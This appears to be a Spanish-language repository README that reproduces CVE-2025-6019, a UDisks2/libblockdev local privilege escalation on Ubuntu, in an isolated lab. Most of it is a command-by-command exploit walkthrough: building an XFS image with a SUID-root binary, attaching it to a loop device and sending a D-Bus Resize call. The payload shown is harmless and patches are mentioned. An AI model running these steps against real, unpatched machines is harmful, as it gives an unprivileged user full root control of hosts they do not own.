CVE-2025-6019 – Vulnerabilidad ResizeFilesystem de UDisks2 (Reproducción Educativa)

Este repositorio documenta una reproducción educativa de CVE-2025-6019 realizada en un entorno de laboratorio controlado (VM de Ubuntu, no productivo).

🛡️ Aviso de Seguridad

Esta investigación reproduce CVE-2025-6019 en un entorno Ubuntu aislado para analizar la causa raíz y la mitigación de la vulnerabilidad de UDisks2.
Todos los resultados se comparten de forma responsable y buscan apoyar la concienciación y la adopción de parches.
Si usted es un proveedor o mantenedor, asegúrese de que su sistema tenga las últimas actualizaciones de seguridad.

Introducción

Esta vulnerabilidad CVE es un tipo de Escalada de Privilegios Local en sistemas Linux que surge de interacciones insuficientemente coordinadas entre los componentes de gestión del sistema de archivos de Linux, que en este caso son udisk/udisk2, libblockdev y Polkit. Este fallo permite que un usuario local (atacante no privilegiado) monte una imagen de sistema de archivos maliciosa que contenga archivos propiedad de root con el bit SUID establecido, ejecute un binario SUID-root desde esa imagen y, finalmente, obtenga el control total del host.

Cómo explotarlo

Paso 1: Configuración del entorno

Esta explotación se lleva a cabo en una máquina virtual Ubuntu 20.04.6.
Todas las pruebas se ejecutan en una VM local aislada, y no se utilizan conexiones de red ni cargas útiles destructivas. El objetivo es puramente observar los cambios de privilegios y verificar la vulnerabilidad en condiciones seguras.

Clona este repositorio, asegúrate de tener los archivos check_root.c y exploit_helper.sh

~$ gcc check_root.c -o check_root

Comprobación de la versión de udisk2 y libblockdev:

~$ dpkg -l | grep libblockdev
~$ dpkg -l | grep udisk
~$ sudo apt install -y build-essential xfsprogs 
# Resultado esperado: libblockdev versión 2.23-2ubuntu3 y udisk2 versión 2.8.4-1ubuntu2  

Paso 2: Preparación de la carga útil (máquina del atacante)

Ten en cuenta que el objetivo no es crear un programa destructivo. check_root.c es un programa de prueba inofensivo que solo imprime su UID real y su UID efectivo cuando se ejecuta (mediante las funciones getuid() y geteuid()), pero si lo reemplazamos por un binario malicioso, el sistema podría resultar dañado.

Crear el archivo de imagen:

~$ dd if=/dev/zero of=malicious_xfs.img bs=1M count=16
~$ sudo mkfs.xfs malicious_xfs.img

Copiar check_root.c a la imagen y proporcionar el flag SUID:

~$ mkdir /tmp/xfs_mnt
~$ sudo mount -o loop malicious_xfs.img /tmp/xfs_mnt
~$ sudo cp check_root /tmp/xfs_mnt/
~$ sudo chmod 4755 /tmp/xfs_mnt/check_root
~$ sudo umount /tmp/xfs_mnt
~$ rmdir /tmp/xfs_mnt
~$ mount | grep malicious  
# Resultado esperado: no se devuelve ningún resultado.

Si ves que la imagen sigue montada, desmóntala. Después de esta fase, tenemos una imagen maliciosa que contiene un archivo malicioso (check_root.c), con el flag SUID y propietario root en los metadatos.
Ten en cuenta que estos metadatos se mantienen consistentes al copiar archivos entre máquinas Linux, y Linux está protegido por "nosuid", lo cual no se verá afectado en este escenario.

Paso 3: Explotación (en la máquina objetivo)

Este paso asignará la imagen a la máquina objetivo y luego ejecutará el archivo malicioso en su interior; esta acción es similar a conectar un USB malicioso a una máquina Linux.

~$ losetup
# Comprueba qué dispositivos /dev/loop* están en uso y crea uno nuevo y móntalo con la imagen maliciosa creada en el Paso 2. Por ejemplo, si ves /dev/loop1-8, crea /dev/loop9:
~$ sudo losetup /dev/loop9 malicious_xfs.img
~$ LOOP_DEVICE="/dev/loop9"
~$ OBJECT_PATH="/org/freedesktop/UDisks2/block_devices/$(basename \  $LOOP_DEVICE)"
~$ echo $OBJECT_PATH
#Resultado esperado: /org/freedesktop/UDisks2/block_devices/loop9
Verificación previa: 
~$ cat /proc/mounts | grep "$LOOP_DEVICE" | grep 'xfs' | awk '{print $2}'
#Resultado esperado: No se devuelve ningún resultado

Ejecutar el archivo exploit_helper:

~$ chmod +x exploit_helper.sh
~$ ./exploit_helper.sh

Abre una segunda terminal y envía una solicitud D-Bus que pida al sistema (UDisks2) redimensionar el dispositivo de bloque presentado.

~$ LOOP_DEVICE="/dev/loop9"
~$ OBJECT_PATH="/org/freedesktop/UDisks2/block_devices/$(basename \ $LOOP_DEVICE)"
~$ echo $OBJECT_PATH
#Resultado esperado: /org/freedesktop/UDisks2/block_devices/loop9
~$ gdbus call --system --dest org.freedesktop.UDisks2 --object-path \ /org/freedesktop/UDisks2/block_devices/loop9 --method \ org.freedesktop.UDisks2.Filesystem.Resize -t 10 "uint64 0" "{}"

Comprobación de la terminal de explotación: Éxito

Por qué tiene éxito: cuando la imagen se asignó manualmente con losetup y luego se montó manualmente (incluso en un sistema donde udisksd está presente), el montaje se realizó bajo un contexto diferente, con opciones y semántica de ciclo de vida distintas. En este escenario, el sistema de archivos no se montó con los mismos flags de seguridad aplicados por udisksd, por lo que el binario setuid dentro de la imagen pudo tener efecto y el paso de explotación tuvo éxito.

El equipo de seguridad de Ubuntu ya ha publicado versiones parcheadas de UDisks2 que abordan CVE-2025-6019.

⚠️ Aviso legal
Este repositorio es solo para fines educativos.
No utilices ninguna parte de este contenido para atacar o modificar sistemas reales.
El autor y los colaboradores no asumen ninguna responsabilidad por el mal uso.